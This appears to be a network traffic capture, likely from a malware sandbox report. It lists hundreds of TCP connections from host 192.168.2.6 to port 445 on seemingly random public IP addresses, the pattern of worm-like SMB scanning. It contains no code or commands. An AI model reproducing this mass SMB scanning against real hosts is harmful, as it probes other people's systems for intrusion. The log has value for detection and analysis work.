Dec 22, 2022 10:06:22.127614975 CET	57024	445	192.168.2.6	100.117.83.121
Dec 22, 2022 10:06:22.128550053 CET	57032	445	192.168.2.6	171.134.226.128
Dec 22, 2022 10:06:22.128753901 CET	57033	445	192.168.2.6	211.221.164.28
Dec 22, 2022 10:06:22.128951073 CET	57035	445	192.168.2.6	91.116.111.222
Dec 22, 2022 10:06:22.129322052 CET	57038	445	192.168.2.6	163.76.182.174
Dec 22, 2022 10:06:22.129381895 CET	57039	445	192.168.2.6	210.176.122.13
Dec 22, 2022 10:06:22.129492998 CET	57040	445	192.168.2.6	18.121.75.206
Dec 22, 2022 10:06:22.129719973 CET	57042	445	192.168.2.6	158.40.101.53
Dec 22, 2022 10:06:22.130414963 CET	57045	445	192.168.2.6	79.250.42.244
Dec 22, 2022 10:06:22.131079912 CET	57046	445	192.168.2.6	55.13.201.14
Dec 22, 2022 10:06:22.131691933 CET	57047	445	192.168.2.6	66.51.150.43
Dec 22, 2022 10:06:22.132225037 CET	57048	445	192.168.2.6	66.44.221.215
Dec 22, 2022 10:06:22.132882118 CET	57049	445	192.168.2.6	4.58.117.215
Dec 22, 2022 10:06:22.718377113 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:23.126445055 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.218703985 CET	57053	445	192.168.2.6	83.144.199.237
Dec 22, 2022 10:06:23.218954086 CET	57059	445	192.168.2.6	15.129.224.186
Dec 22, 2022 10:06:23.219028950 CET	57060	445	192.168.2.6	121.69.252.112
Dec 22, 2022 10:06:23.219234943 CET	57064	445	192.168.2.6	193.203.177.129
Dec 22, 2022 10:06:23.219297886 CET	57065	445	192.168.2.6	13.88.40.40
Dec 22, 2022 10:06:23.219407082 CET	57067	445	192.168.2.6	93.25.254.159
Dec 22, 2022 10:06:23.219805956 CET	57076	445	192.168.2.6	108.219.102.18
Dec 22, 2022 10:06:23.219907999 CET	57078	445	192.168.2.6	165.121.3.186
Dec 22, 2022 10:06:23.220012903 CET	57080	445	192.168.2.6	191.220.118.8
Dec 22, 2022 10:06:23.220304966 CET	57084	445	192.168.2.6	167.60.76.240
Dec 22, 2022 10:06:23.220372915 CET	57085	445	192.168.2.6	2.128.249.129
Dec 22, 2022 10:06:23.220392942 CET	57083	445	192.168.2.6	190.195.181.61
Dec 22, 2022 10:06:23.220766068 CET	57089	445	192.168.2.6	104.219.70.46
Dec 22, 2022 10:06:23.233247995 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.233414888 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.233472109 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.235820055 CET	57090	445	192.168.2.6	10.51.90.109
Dec 22, 2022 10:06:23.236022949 CET	57091	445	192.168.2.6	183.179.36.151
Dec 22, 2022 10:06:23.236171961 CET	57092	445	192.168.2.6	112.33.7.150
Dec 22, 2022 10:06:23.236505032 CET	57096	445	192.168.2.6	148.56.149.221
Dec 22, 2022 10:06:23.236581087 CET	57095	445	192.168.2.6	28.113.254.199
Dec 22, 2022 10:06:23.237394094 CET	57098	445	192.168.2.6	106.73.125.120
Dec 22, 2022 10:06:23.237442017 CET	57106	445	192.168.2.6	205.25.157.212
Dec 22, 2022 10:06:23.237518072 CET	57107	445	192.168.2.6	67.207.47.108
Dec 22, 2022 10:06:23.238085032 CET	57113	445	192.168.2.6	54.173.202.250
Dec 22, 2022 10:06:23.238265038 CET	57115	445	192.168.2.6	13.189.135.180
Dec 22, 2022 10:06:23.239073038 CET	57124	445	192.168.2.6	148.186.172.238
Dec 22, 2022 10:06:23.240077972 CET	57130	445	192.168.2.6	57.247.17.229
Dec 22, 2022 10:06:23.240282059 CET	57131	445	192.168.2.6	13.76.36.73
Dec 22, 2022 10:06:23.242225885 CET	57135	445	192.168.2.6	181.103.152.165
Dec 22, 2022 10:06:23.242347956 CET	57136	445	192.168.2.6	123.202.124.91
Dec 22, 2022 10:06:23.242520094 CET	57138	445	192.168.2.6	89.145.23.214
Dec 22, 2022 10:06:23.242553949 CET	57137	445	192.168.2.6	201.214.244.176
Dec 22, 2022 10:06:23.340909958 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.345000029 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.345133066 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.452977896 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.453190088 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.560985088 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.561153889 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.668968916 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.669220924 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:23.740607977 CET	57139	445	192.168.2.6	176.210.131.72
Dec 22, 2022 10:06:23.777040005 CET	445	57051	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:23.777163982 CET	57051	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:24.343952894 CET	57143	445	192.168.2.6	15.150.6.156
Dec 22, 2022 10:06:24.344650030 CET	57149	445	192.168.2.6	42.76.87.192
Dec 22, 2022 10:06:24.344820976 CET	57151	445	192.168.2.6	195.57.71.186
Dec 22, 2022 10:06:24.345118999 CET	57154	445	192.168.2.6	21.90.187.16
Dec 22, 2022 10:06:24.345280886 CET	57155	445	192.168.2.6	99.32.196.209
Dec 22, 2022 10:06:24.345457077 CET	57156	445	192.168.2.6	14.19.78.145
Dec 22, 2022 10:06:24.346343040 CET	57166	445	192.168.2.6	167.135.36.100
Dec 22, 2022 10:06:24.346546888 CET	57168	445	192.168.2.6	200.28.107.102
Dec 22, 2022 10:06:24.346708059 CET	57169	445	192.168.2.6	149.66.162.19
Dec 22, 2022 10:06:24.347103119 CET	57173	445	192.168.2.6	133.9.226.66
Dec 22, 2022 10:06:24.347273111 CET	57174	445	192.168.2.6	87.221.41.48
Dec 22, 2022 10:06:24.347378969 CET	57175	445	192.168.2.6	41.22.37.143
Dec 22, 2022 10:06:24.348141909 CET	57178	445	192.168.2.6	76.214.236.66
Dec 22, 2022 10:06:24.360341072 CET	57180	445	192.168.2.6	37.178.18.181
Dec 22, 2022 10:06:24.361063957 CET	57181	445	192.168.2.6	184.69.54.123
Dec 22, 2022 10:06:24.361840963 CET	57182	445	192.168.2.6	203.209.239.94
Dec 22, 2022 10:06:24.362344027 CET	57183	445	192.168.2.6	94.44.200.221
Dec 22, 2022 10:06:24.363380909 CET	57184	445	192.168.2.6	47.201.17.36
Dec 22, 2022 10:06:24.363830090 CET	57187	445	192.168.2.6	98.192.119.244
Dec 22, 2022 10:06:24.364415884 CET	57194	445	192.168.2.6	36.138.3.83
Dec 22, 2022 10:06:24.365317106 CET	57203	445	192.168.2.6	81.227.180.198
Dec 22, 2022 10:06:24.365693092 CET	57205	445	192.168.2.6	111.240.204.90
Dec 22, 2022 10:06:24.365932941 CET	57208	445	192.168.2.6	5.77.114.231
Dec 22, 2022 10:06:24.366432905 CET	57212	445	192.168.2.6	1.127.169.12
Dec 22, 2022 10:06:24.366527081 CET	57213	445	192.168.2.6	46.81.45.236
Dec 22, 2022 10:06:24.367341042 CET	57221	445	192.168.2.6	120.140.154.151
Dec 22, 2022 10:06:24.367610931 CET	57224	445	192.168.2.6	41.41.202.130
Dec 22, 2022 10:06:24.367775917 CET	57226	445	192.168.2.6	154.152.77.96
Dec 22, 2022 10:06:24.367957115 CET	57227	445	192.168.2.6	217.58.199.115
Dec 22, 2022 10:06:24.368165970 CET	57228	445	192.168.2.6	77.98.66.137
Dec 22, 2022 10:06:24.797460079 CET	57229	445	192.168.2.6	176.210.131.73
Dec 22, 2022 10:06:25.453528881 CET	57233	445	192.168.2.6	165.88.159.57
Dec 22, 2022 10:06:25.453900099 CET	57234	445	192.168.2.6	133.64.138.245
Dec 22, 2022 10:06:25.454606056 CET	57237	445	192.168.2.6	34.97.27.0
Dec 22, 2022 10:06:25.455437899 CET	57244	445	192.168.2.6	85.5.68.1
Dec 22, 2022 10:06:25.455693007 CET	57246	445	192.168.2.6	20.241.109.8
Dec 22, 2022 10:06:25.455897093 CET	57249	445	192.168.2.6	161.203.107.149
Dec 22, 2022 10:06:25.455988884 CET	57250	445	192.168.2.6	79.137.9.249
Dec 22, 2022 10:06:25.456115961 CET	57251	445	192.168.2.6	194.177.68.85
Dec 22, 2022 10:06:25.456886053 CET	57261	445	192.168.2.6	138.22.3.67
Dec 22, 2022 10:06:25.457093000 CET	57263	445	192.168.2.6	199.141.203.66
Dec 22, 2022 10:06:25.457176924 CET	57264	445	192.168.2.6	60.64.162.80
Dec 22, 2022 10:06:25.457541943 CET	57268	445	192.168.2.6	160.22.218.30
Dec 22, 2022 10:06:25.457678080 CET	57269	445	192.168.2.6	160.12.26.154
Dec 22, 2022 10:06:25.474250078 CET	57270	445	192.168.2.6	157.218.133.38
Dec 22, 2022 10:06:25.474277973 CET	57271	445	192.168.2.6	142.216.154.185
Dec 22, 2022 10:06:25.474555016 CET	57272	445	192.168.2.6	156.213.90.66
Dec 22, 2022 10:06:25.474808931 CET	57277	445	192.168.2.6	20.51.63.124
Dec 22, 2022 10:06:25.475285053 CET	57285	445	192.168.2.6	106.10.119.197
Dec 22, 2022 10:06:25.475370884 CET	57286	445	192.168.2.6	102.60.49.171
Dec 22, 2022 10:06:25.475557089 CET	57291	445	192.168.2.6	90.202.3.215
Dec 22, 2022 10:06:25.475673914 CET	57293	445	192.168.2.6	161.186.199.55
Dec 22, 2022 10:06:25.475765944 CET	57295	445	192.168.2.6	164.114.226.114
Dec 22, 2022 10:06:25.476185083 CET	57304	445	192.168.2.6	160.145.0.233
Dec 22, 2022 10:06:25.476524115 CET	57311	445	192.168.2.6	68.13.243.37
Dec 22, 2022 10:06:25.478435993 CET	57314	445	192.168.2.6	36.60.63.38
Dec 22, 2022 10:06:25.478452921 CET	57315	445	192.168.2.6	159.127.42.165
Dec 22, 2022 10:06:25.478648901 CET	57316	445	192.168.2.6	90.173.56.35
Dec 22, 2022 10:06:25.478665113 CET	57317	445	192.168.2.6	29.210.41.243
Dec 22, 2022 10:06:25.478738070 CET	57318	445	192.168.2.6	122.237.87.129
Dec 22, 2022 10:06:25.483697891 CET	445	57250	79.137.9.249	192.168.2.6
Dec 22, 2022 10:06:25.549129009 CET	445	57272	156.213.90.66	192.168.2.6
Dec 22, 2022 10:06:25.752173901 CET	445	57264	60.64.162.80	192.168.2.6
Dec 22, 2022 10:06:25.859920025 CET	57320	445	192.168.2.6	176.210.131.74
Dec 22, 2022 10:06:25.984271049 CET	57250	445	192.168.2.6	79.137.9.249
Dec 22, 2022 10:06:26.012351036 CET	445	57250	79.137.9.249	192.168.2.6
Dec 22, 2022 10:06:26.051422119 CET	57272	445	192.168.2.6	156.213.90.66
Dec 22, 2022 10:06:26.125915051 CET	445	57272	156.213.90.66	192.168.2.6
Dec 22, 2022 10:06:26.265551090 CET	57264	445	192.168.2.6	60.64.162.80
Dec 22, 2022 10:06:26.560751915 CET	445	57264	60.64.162.80	192.168.2.6
Dec 22, 2022 10:06:26.581931114 CET	57325	445	192.168.2.6	71.43.144.23
Dec 22, 2022 10:06:26.581929922 CET	57324	445	192.168.2.6	11.58.207.24
Dec 22, 2022 10:06:26.589139938 CET	57326	445	192.168.2.6	168.21.53.167
Dec 22, 2022 10:06:26.589749098 CET	57332	445	192.168.2.6	15.213.137.9
Dec 22, 2022 10:06:26.589822054 CET	57333	445	192.168.2.6	87.124.163.189
Dec 22, 2022 10:06:26.590651035 CET	57341	445	192.168.2.6	183.163.227.190
Dec 22, 2022 10:06:26.591126919 CET	57344	445	192.168.2.6	66.84.93.3
Dec 22, 2022 10:06:26.591253042 CET	57345	445	192.168.2.6	178.4.193.137
Dec 22, 2022 10:06:26.591373920 CET	57347	445	192.168.2.6	24.202.78.215
Dec 22, 2022 10:06:26.591442108 CET	57348	445	192.168.2.6	192.103.64.127
Dec 22, 2022 10:06:26.591543913 CET	57349	445	192.168.2.6	179.91.83.51
Dec 22, 2022 10:06:26.592125893 CET	57356	445	192.168.2.6	99.200.148.243
Dec 22, 2022 10:06:26.592344999 CET	57359	445	192.168.2.6	65.45.19.226
Dec 22, 2022 10:06:26.592514038 CET	57361	445	192.168.2.6	38.180.211.101
Dec 22, 2022 10:06:26.592545033 CET	57364	445	192.168.2.6	222.39.132.141
Dec 22, 2022 10:06:26.592628002 CET	57365	445	192.168.2.6	16.253.193.144
Dec 22, 2022 10:06:26.592642069 CET	57366	445	192.168.2.6	124.8.204.177
Dec 22, 2022 10:06:26.593070984 CET	57376	445	192.168.2.6	10.218.5.202
Dec 22, 2022 10:06:26.593203068 CET	57378	445	192.168.2.6	40.9.109.23
Dec 22, 2022 10:06:26.593261003 CET	57379	445	192.168.2.6	14.73.194.88
Dec 22, 2022 10:06:26.593460083 CET	57383	445	192.168.2.6	24.25.211.214
Dec 22, 2022 10:06:26.593523026 CET	57384	445	192.168.2.6	62.77.156.231
Dec 22, 2022 10:06:26.593774080 CET	57386	445	192.168.2.6	132.136.158.184
Dec 22, 2022 10:06:26.594050884 CET	57393	445	192.168.2.6	77.52.174.224
Dec 22, 2022 10:06:26.594372034 CET	57402	445	192.168.2.6	207.132.123.34
Dec 22, 2022 10:06:26.596101999 CET	57405	445	192.168.2.6	72.185.24.218
Dec 22, 2022 10:06:26.596187115 CET	57406	445	192.168.2.6	51.74.31.227
Dec 22, 2022 10:06:26.596278906 CET	57408	445	192.168.2.6	151.123.76.84
Dec 22, 2022 10:06:26.596281052 CET	57407	445	192.168.2.6	30.230.163.20
Dec 22, 2022 10:06:26.596705914 CET	57409	445	192.168.2.6	188.98.149.177
Dec 22, 2022 10:06:26.938653946 CET	57410	445	192.168.2.6	176.210.131.75
Dec 22, 2022 10:06:27.112207890 CET	445	57349	179.91.83.51	192.168.2.6
Dec 22, 2022 10:06:27.531299114 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:27.704602957 CET	57415	445	192.168.2.6	83.146.30.222
Dec 22, 2022 10:06:27.704713106 CET	57416	445	192.168.2.6	201.125.196.120
Dec 22, 2022 10:06:27.704857111 CET	57417	445	192.168.2.6	214.52.5.133
Dec 22, 2022 10:06:27.705064058 CET	57419	445	192.168.2.6	178.240.2.85
Dec 22, 2022 10:06:27.705976963 CET	57425	445	192.168.2.6	59.3.163.44
Dec 22, 2022 10:06:27.706440926 CET	57428	445	192.168.2.6	5.220.37.210
Dec 22, 2022 10:06:27.706707954 CET	57430	445	192.168.2.6	193.98.246.233
Dec 22, 2022 10:06:27.706937075 CET	57433	445	192.168.2.6	178.99.85.198
Dec 22, 2022 10:06:27.707082987 CET	57434	445	192.168.2.6	120.240.237.49
Dec 22, 2022 10:06:27.707298994 CET	57435	445	192.168.2.6	72.194.222.130
Dec 22, 2022 10:06:27.708302975 CET	57446	445	192.168.2.6	3.240.54.252
Dec 22, 2022 10:06:27.708398104 CET	57447	445	192.168.2.6	65.79.123.65
Dec 22, 2022 10:06:27.708523989 CET	57448	445	192.168.2.6	13.15.51.147
Dec 22, 2022 10:06:27.708926916 CET	57452	445	192.168.2.6	46.17.183.181
Dec 22, 2022 10:06:27.709129095 CET	57455	445	192.168.2.6	63.148.20.140
Dec 22, 2022 10:06:27.709280014 CET	57458	445	192.168.2.6	48.36.88.100
Dec 22, 2022 10:06:27.709367990 CET	57459	445	192.168.2.6	7.209.116.134
Dec 22, 2022 10:06:27.709841013 CET	57467	445	192.168.2.6	200.120.239.98
Dec 22, 2022 10:06:27.710042000 CET	57470	445	192.168.2.6	97.200.45.109
Dec 22, 2022 10:06:27.710047007 CET	57471	445	192.168.2.6	212.223.176.98
Dec 22, 2022 10:06:27.710536957 CET	57475	445	192.168.2.6	24.167.245.181
Dec 22, 2022 10:06:27.710954905 CET	57483	445	192.168.2.6	173.124.111.197
Dec 22, 2022 10:06:27.711236954 CET	57490	445	192.168.2.6	176.210.143.148
Dec 22, 2022 10:06:27.711307049 CET	57492	445	192.168.2.6	145.184.44.160
Dec 22, 2022 10:06:27.711497068 CET	57493	445	192.168.2.6	188.185.212.154
Dec 22, 2022 10:06:27.713154078 CET	57497	445	192.168.2.6	44.170.192.111
Dec 22, 2022 10:06:27.713156939 CET	57496	445	192.168.2.6	19.34.25.109
Dec 22, 2022 10:06:27.713402987 CET	57498	445	192.168.2.6	71.213.124.49
Dec 22, 2022 10:06:27.713424921 CET	57499	445	192.168.2.6	43.158.163.66
Dec 22, 2022 10:06:27.713464975 CET	57500	445	192.168.2.6	163.160.124.189
Dec 22, 2022 10:06:28.018436909 CET	57502	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.131198883 CET	445	57502	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.131314039 CET	57502	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.131458998 CET	57502	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.131829023 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.244133949 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.244164944 CET	445	57502	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.244180918 CET	445	57502	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.244250059 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.244298935 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.244298935 CET	57502	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.368122101 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.368180990 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.369092941 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.478998899 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.479135990 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.587029934 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.587480068 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.695065975 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.695193052 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.803117990 CET	445	57504	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:28.803294897 CET	57504	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:28.816158056 CET	57507	445	192.168.2.6	160.135.195.139
Dec 22, 2022 10:06:28.832741022 CET	57510	445	192.168.2.6	80.140.42.145
Dec 22, 2022 10:06:28.832868099 CET	57511	445	192.168.2.6	215.169.85.77
Dec 22, 2022 10:06:28.833638906 CET	57520	445	192.168.2.6	134.231.199.50
Dec 22, 2022 10:06:28.833909035 CET	57522	445	192.168.2.6	80.108.133.213
Dec 22, 2022 10:06:28.834088087 CET	57523	445	192.168.2.6	108.107.120.11
Dec 22, 2022 10:06:28.834479094 CET	57527	445	192.168.2.6	198.170.77.17
Dec 22, 2022 10:06:28.835143089 CET	57534	445	192.168.2.6	206.91.224.208
Dec 22, 2022 10:06:28.835261106 CET	57535	445	192.168.2.6	207.16.153.86
Dec 22, 2022 10:06:28.835933924 CET	57536	445	192.168.2.6	21.76.101.229
Dec 22, 2022 10:06:28.836205959 CET	57539	445	192.168.2.6	200.240.66.4
Dec 22, 2022 10:06:28.836812019 CET	57540	445	192.168.2.6	188.191.249.48
Dec 22, 2022 10:06:28.837740898 CET	57546	445	192.168.2.6	51.107.152.48
Dec 22, 2022 10:06:28.837842941 CET	57549	445	192.168.2.6	148.244.96.239
Dec 22, 2022 10:06:28.837954044 CET	57550	445	192.168.2.6	68.200.238.132
Dec 22, 2022 10:06:28.838071108 CET	57551	445	192.168.2.6	9.190.77.11
Dec 22, 2022 10:06:28.838824987 CET	57559	445	192.168.2.6	123.88.81.103
Dec 22, 2022 10:06:28.838977098 CET	57560	445	192.168.2.6	119.46.129.48
Dec 22, 2022 10:06:28.839088917 CET	57561	445	192.168.2.6	18.31.151.208
Dec 22, 2022 10:06:28.839546919 CET	57565	445	192.168.2.6	78.239.24.20
Dec 22, 2022 10:06:28.839823008 CET	57568	445	192.168.2.6	145.28.51.26
Dec 22, 2022 10:06:28.839950085 CET	57569	445	192.168.2.6	90.71.158.147
Dec 22, 2022 10:06:28.840426922 CET	57573	445	192.168.2.6	71.182.244.73
Dec 22, 2022 10:06:28.840862036 CET	57578	445	192.168.2.6	150.115.74.66
Dec 22, 2022 10:06:28.841392040 CET	57583	445	192.168.2.6	128.250.89.214
Dec 22, 2022 10:06:28.841490030 CET	57584	445	192.168.2.6	83.228.94.196
Dec 22, 2022 10:06:28.851948977 CET	57588	445	192.168.2.6	52.74.218.19
Dec 22, 2022 10:06:28.852261066 CET	57589	445	192.168.2.6	154.99.45.13
Dec 22, 2022 10:06:28.852417946 CET	57590	445	192.168.2.6	45.127.218.160
Dec 22, 2022 10:06:28.852494001 CET	57591	445	192.168.2.6	81.239.77.119
Dec 22, 2022 10:06:29.924470901 CET	57599	445	192.168.2.6	3.135.230.15
Dec 22, 2022 10:06:29.938777924 CET	57603	445	192.168.2.6	145.200.17.224
Dec 22, 2022 10:06:29.939232111 CET	57606	445	192.168.2.6	67.102.76.106
Dec 22, 2022 10:06:29.939407110 CET	57607	445	192.168.2.6	176.180.45.60
Dec 22, 2022 10:06:29.939909935 CET	57611	445	192.168.2.6	49.14.15.28
Dec 22, 2022 10:06:29.940465927 CET	57616	445	192.168.2.6	144.85.254.110
Dec 22, 2022 10:06:29.940984011 CET	57621	445	192.168.2.6	43.33.229.198
Dec 22, 2022 10:06:29.941103935 CET	57622	445	192.168.2.6	220.180.140.131
Dec 22, 2022 10:06:29.941665888 CET	57627	445	192.168.2.6	46.180.115.227
Dec 22, 2022 10:06:29.942034006 CET	57630	445	192.168.2.6	222.63.62.251
Dec 22, 2022 10:06:29.942208052 CET	57631	445	192.168.2.6	205.253.183.184
Dec 22, 2022 10:06:29.942280054 CET	57632	445	192.168.2.6	60.228.131.41
Dec 22, 2022 10:06:29.943236113 CET	57640	445	192.168.2.6	185.180.4.56
Dec 22, 2022 10:06:29.943363905 CET	57641	445	192.168.2.6	77.155.86.173
Dec 22, 2022 10:06:29.943542957 CET	57642	445	192.168.2.6	222.62.53.83
Dec 22, 2022 10:06:29.944137096 CET	57647	445	192.168.2.6	43.250.3.97
Dec 22, 2022 10:06:29.944286108 CET	57648	445	192.168.2.6	162.181.41.57
Dec 22, 2022 10:06:29.945012093 CET	57649	445	192.168.2.6	71.209.148.94
Dec 22, 2022 10:06:29.945470095 CET	57652	445	192.168.2.6	36.15.10.44
Dec 22, 2022 10:06:29.946055889 CET	57653	445	192.168.2.6	84.76.203.170
Dec 22, 2022 10:06:29.946737051 CET	57659	445	192.168.2.6	78.61.235.212
Dec 22, 2022 10:06:29.946904898 CET	57660	445	192.168.2.6	52.137.58.236
Dec 22, 2022 10:06:29.947525978 CET	57669	445	192.168.2.6	98.254.52.60
Dec 22, 2022 10:06:29.947741032 CET	57671	445	192.168.2.6	126.93.131.125
Dec 22, 2022 10:06:29.947881937 CET	57672	445	192.168.2.6	214.140.143.207
Dec 22, 2022 10:06:29.948178053 CET	57676	445	192.168.2.6	11.54.29.112
Dec 22, 2022 10:06:29.955220938 CET	57682	445	192.168.2.6	197.228.237.148
Dec 22, 2022 10:06:29.955818892 CET	57683	445	192.168.2.6	101.44.112.199
Dec 22, 2022 10:06:29.956358910 CET	57684	445	192.168.2.6	19.38.243.110
Dec 22, 2022 10:06:29.956994057 CET	57685	445	192.168.2.6	204.43.43.186
Dec 22, 2022 10:06:31.048362970 CET	57691	445	192.168.2.6	151.201.128.27
Dec 22, 2022 10:06:31.063669920 CET	57694	445	192.168.2.6	194.67.2.99
Dec 22, 2022 10:06:31.064238071 CET	57700	445	192.168.2.6	33.190.206.55
Dec 22, 2022 10:06:31.064399004 CET	57701	445	192.168.2.6	32.17.23.41
Dec 22, 2022 10:06:31.064990044 CET	57708	445	192.168.2.6	147.6.107.46
Dec 22, 2022 10:06:31.065512896 CET	57712	445	192.168.2.6	62.74.243.205
Dec 22, 2022 10:06:31.065826893 CET	57716	445	192.168.2.6	35.52.52.61
Dec 22, 2022 10:06:31.066570044 CET	57725	445	192.168.2.6	87.49.253.159
Dec 22, 2022 10:06:31.066706896 CET	57726	445	192.168.2.6	78.91.1.106
Dec 22, 2022 10:06:31.066709995 CET	57727	445	192.168.2.6	190.164.198.91
Dec 22, 2022 10:06:31.066920996 CET	57732	445	192.168.2.6	190.129.70.8
Dec 22, 2022 10:06:31.066936970 CET	57733	445	192.168.2.6	118.40.241.103
Dec 22, 2022 10:06:31.067096949 CET	57735	445	192.168.2.6	99.25.198.229
Dec 22, 2022 10:06:31.067172050 CET	57738	445	192.168.2.6	205.248.52.62
Dec 22, 2022 10:06:31.067281008 CET	57740	445	192.168.2.6	201.238.89.208
Dec 22, 2022 10:06:31.067307949 CET	57739	445	192.168.2.6	12.64.155.184
Dec 22, 2022 10:06:31.067646027 CET	57745	445	192.168.2.6	196.39.3.162
Dec 22, 2022 10:06:31.067765951 CET	57747	445	192.168.2.6	52.187.21.243
Dec 22, 2022 10:06:31.068017006 CET	57753	445	192.168.2.6	96.51.236.97
Dec 22, 2022 10:06:31.068223953 CET	57757	445	192.168.2.6	34.183.212.125
Dec 22, 2022 10:06:31.068352938 CET	57761	445	192.168.2.6	64.198.238.151
Dec 22, 2022 10:06:31.068542004 CET	57762	445	192.168.2.6	113.164.193.209
Dec 22, 2022 10:06:31.068664074 CET	57764	445	192.168.2.6	94.230.172.64
Dec 22, 2022 10:06:31.068974972 CET	57771	445	192.168.2.6	108.191.165.205
Dec 22, 2022 10:06:31.071057081 CET	57772	445	192.168.2.6	8.90.194.91
Dec 22, 2022 10:06:31.071115971 CET	57774	445	192.168.2.6	182.236.173.187
Dec 22, 2022 10:06:31.071137905 CET	57773	445	192.168.2.6	65.22.107.119
Dec 22, 2022 10:06:31.071177006 CET	57775	445	192.168.2.6	88.56.112.140
Dec 22, 2022 10:06:31.071265936 CET	57777	445	192.168.2.6	184.249.241.84
Dec 22, 2022 10:06:31.071299076 CET	57776	445	192.168.2.6	128.224.223.6
Dec 22, 2022 10:06:31.245362043 CET	445	57771	108.191.165.205	192.168.2.6
Dec 22, 2022 10:06:31.704035997 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:31.750566006 CET	57771	445	192.168.2.6	108.191.165.205
Dec 22, 2022 10:06:31.819195032 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:31.819346905 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:31.819417000 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:31.926721096 CET	445	57771	108.191.165.205	192.168.2.6
Dec 22, 2022 10:06:31.927161932 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:31.935019970 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:31.935225964 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:32.048049927 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:32.048276901 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:32.157448053 CET	57785	445	192.168.2.6	146.100.220.16
Dec 22, 2022 10:06:32.159156084 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:32.159333944 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:32.173716068 CET	57794	445	192.168.2.6	85.163.66.153
Dec 22, 2022 10:06:32.173779011 CET	57793	445	192.168.2.6	168.160.164.80
Dec 22, 2022 10:06:32.174096107 CET	57796	445	192.168.2.6	73.237.128.54
Dec 22, 2022 10:06:32.174510002 CET	57801	445	192.168.2.6	60.51.138.81
Dec 22, 2022 10:06:32.174854994 CET	57800	445	192.168.2.6	84.206.134.227
Dec 22, 2022 10:06:32.175107956 CET	57804	445	192.168.2.6	10.91.53.147
Dec 22, 2022 10:06:32.175357103 CET	57806	445	192.168.2.6	87.15.239.219
Dec 22, 2022 10:06:32.175606012 CET	57808	445	192.168.2.6	125.134.91.241
Dec 22, 2022 10:06:32.175621033 CET	57807	445	192.168.2.6	28.171.78.243
Dec 22, 2022 10:06:32.176126003 CET	57813	445	192.168.2.6	110.48.131.37
Dec 22, 2022 10:06:32.176978111 CET	57820	445	192.168.2.6	170.179.77.103
Dec 22, 2022 10:06:32.177489996 CET	57825	445	192.168.2.6	220.225.167.72
Dec 22, 2022 10:06:32.177716970 CET	57827	445	192.168.2.6	5.172.39.6
Dec 22, 2022 10:06:32.178071022 CET	57830	445	192.168.2.6	180.74.164.143
Dec 22, 2022 10:06:32.178399086 CET	57832	445	192.168.2.6	52.69.119.174
Dec 22, 2022 10:06:32.179034948 CET	57838	445	192.168.2.6	220.134.193.103
Dec 22, 2022 10:06:32.179105997 CET	57840	445	192.168.2.6	69.58.54.131
Dec 22, 2022 10:06:32.179805040 CET	57846	445	192.168.2.6	192.154.215.112
Dec 22, 2022 10:06:32.179807901 CET	57847	445	192.168.2.6	198.238.199.164
Dec 22, 2022 10:06:32.180763006 CET	57854	445	192.168.2.6	200.106.102.105
